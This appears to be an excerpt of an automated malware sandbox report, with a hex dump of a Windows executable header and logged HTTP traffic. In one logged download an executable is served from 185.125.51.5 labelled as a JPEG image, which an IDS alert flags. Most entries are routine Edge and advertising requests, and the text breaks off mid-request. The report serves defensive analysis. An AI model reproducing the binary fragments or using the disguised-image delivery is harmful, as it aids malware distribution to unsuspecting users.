00 2a 00 00 00 30 51 00 00 54 25 01 e5 1c 00 00 00 10 00 00 00 40 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 76 01 00 04 00 00 cd bd 51 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 76 01 8c 00 00 00 00 a0 25 01 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 77 28 00 00 00 10 00 00 00 2a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 00 54 25 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 64 61 74 61 00 00 fa 02 00 00 00 a0 25 01 00 04 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 26 51 00 00 b0 25 01 00 24 51 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 00 03 00 00 00 e0 76 01 00 04 00 00 00 56 51 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 11 Jan 2025 06:53:58 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Sun, 01 Dec 2024 14:22:40 GMTETag: "cb190-628362a1aac00"Accept-Ranges: bytesContent-Length: 831888Content-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2d 82 c1 ed 69 e3 af be 69 e3 af be 69 e3 af be d4 ac 39 be 6b e3 af be 60 9b 3a be 77 e3 af be 60 9b 2c be db e3 af be 60 9b 2b be 50 e3 af be 4e 25 c2 be 63 e3 af be 4e 25 d4 be 48 e3 af be 69 e3 ae be 64 e1 af be 60 9b 20 be 2f e3 af be 77 b1 3a be 6b e3 af be 77 b1 3b be 68 e3 af be 69 e3 38 be 68 e3 af be 60 9b 3e be 68 e3 af be 52 69 63 68 69 e3 af be 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 15 16 c8 4b 00 00 00 00 00 00 00 00 e0 00 23 01 0b 01 09 00 00 02 08 00 00 fa 02 00 00 00 00 00 10 63 01 00 00 10 00 00 00 20 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 0c 00 00 04 00 00 7c 20 0d 00 02 00 00 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c cd 08 00 54 01 00 00 00 b0 0a 00 1c b6 01 00 00 00 00 00 00 00 00 00 f8 a1 0c 00 98 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 40 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 17 00 08 00 00 10 00 00 00 02 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5c d9 00 00 00 20 08 00 00 da 00 00 00 06 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a5 01 00 00 00 09 00 00 68 00 00 00 e0 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 1c b6 01 00 00 b0 0a 00 00 b8 01 00 00 48 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: INPLATLABS-ASRU INPLATLABS-ASRU

Source: Joe Sandbox View

JA3 fingerprint: c91bde19008eefabce276152ccd51457

Source: Network traffic

Suricata IDS: 2008754 - Severity 1 - ET MALWARE Possible Rar'd Malware sent when remote host claims to send an Image : 185.125.51.5:80 -> 192.168.11.20:49757

Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.489618fee28203b75117.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Device-Memory: 8Origin: https://ntp.msn.comsec-ch-ua-model: rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-platform-version: "10.0.0"downlink: 1.5sec-ch-ua-bitness: "64"ect: 4gsec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; MUIDB=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.059504d3b28965aa7c6d.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Device-Memory: 8sec-ch-ua-model: rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-platform-version: "10.0.0"downlink: 1.5sec-ch-ua-bitness: "64"ect: 4gsec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; MUIDB=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.80e71276f1bec5cb9e6b.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.7fc3109769390e0f7912.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.645cb4eb2f9e0802adfb.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.639a3a8baab8493c4920.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1736578471573&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f7b66e0f99774ee4994a9572d133a3c9&activityId=f7b66e0f99774ee4994a9572d133a3c9&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1736578471573&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0136911D054E6BFC0E90846C04216AB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578471572&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 3841sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1736578471573&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0136911D054E6BFC0E90846C04216AB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=15091701be8ac68bbcb80111736578472
Source: global traffic	HTTP traffic detected: OPTIONS /api/report?cat=msn HTTP/1.1Host: deff.nelreports.netConnection: keep-aliveOrigin: https://assets.msn.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1736578471573&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f7b66e0f99774ee4994a9572d133a3c9&activityId=f7b66e0f99774ee4994a9572d133a3c9&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1FE748FF748B4324A916C66DF435B563&MUID=0136911D054E6BFC0E90846C04216AB7 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /sg/msn/1/cm?taboola_hm=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uidmappixel?ext_uid=0136911D054E6BFC0E90846C04216AB7&pname=MSN&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.outbrain.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: OPTIONS /auction HTTP/1.1Host: srtb.msn.comConnection: keep-aliveAccept: /Access-Control-Request-Method: POSTAccess-Control-Request-Headers: cache-control,content-type,x-ms-flightid,x-ms-numberline,x-msedge-clientid,x-msedge-marketOrigin: https://ntp.msn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Sec-Fetch-Mode: corsSec-Fetch-Site: same-siteSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/1.1Host: px.ads.linkedin.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?type=nms&cs=3&ovsid=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: hbx.media.netConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /m?cdsp=516415&c=0136911D054E6BFC0E90846C04216AB7&mode=inverse&msn_src=ntp&&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.mgid.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/msn?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?suid=0136911D054E6BFC0E90846C04216AB7&sid=16&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /visitor/sync?uid=9871605be8d4b2a982914bf5c9348e7b&name=MSN&visitor=0136911D054E6BFC0E90846C04216AB7&external=true&gdpr=0&gdpr_consent= HTTP/1.1Host: visitor.omnitagjs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: POST /auction HTTP/1.1Host: srtb.msn.comConnection: keep-aliveContent-Length: 3001sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"X-MSEdge-ClientID: 0136911D054E6BFC0E90846C04216AB7sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31x-ms-flightId: 